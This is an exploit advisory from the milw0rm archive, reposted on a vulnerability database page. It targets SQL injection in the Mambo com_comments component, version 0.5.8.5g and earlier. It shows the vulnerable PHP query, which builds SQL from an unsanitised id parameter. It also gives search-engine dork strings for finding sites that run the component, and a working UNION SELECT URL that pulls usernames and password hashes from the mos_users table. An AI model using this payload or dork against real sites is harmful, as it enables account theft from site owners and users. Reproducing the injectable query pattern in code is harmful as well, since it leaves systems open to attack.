#########################################################
##
## Mambo SQL Injection (com_comments)
##
## Version Affected: <= 0.5.8.5g
## Author: CheebaHawk215
## Home page: http://www.always420forum.com
##
#########################################################
##
## Dork: "Review Script", "Phil Taylor"
##
#########################################################
##
## Vulnerable Code:
##
##########################################################
$pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND published=1 order by id DESC";
#########################################################
##
## Exploit:
##
#########################################################
http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1
## This is my first exploit!
## thanks to all who came before me, and enabled me to learn from their efforts!
# milw0rm.com [2008-02-09]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation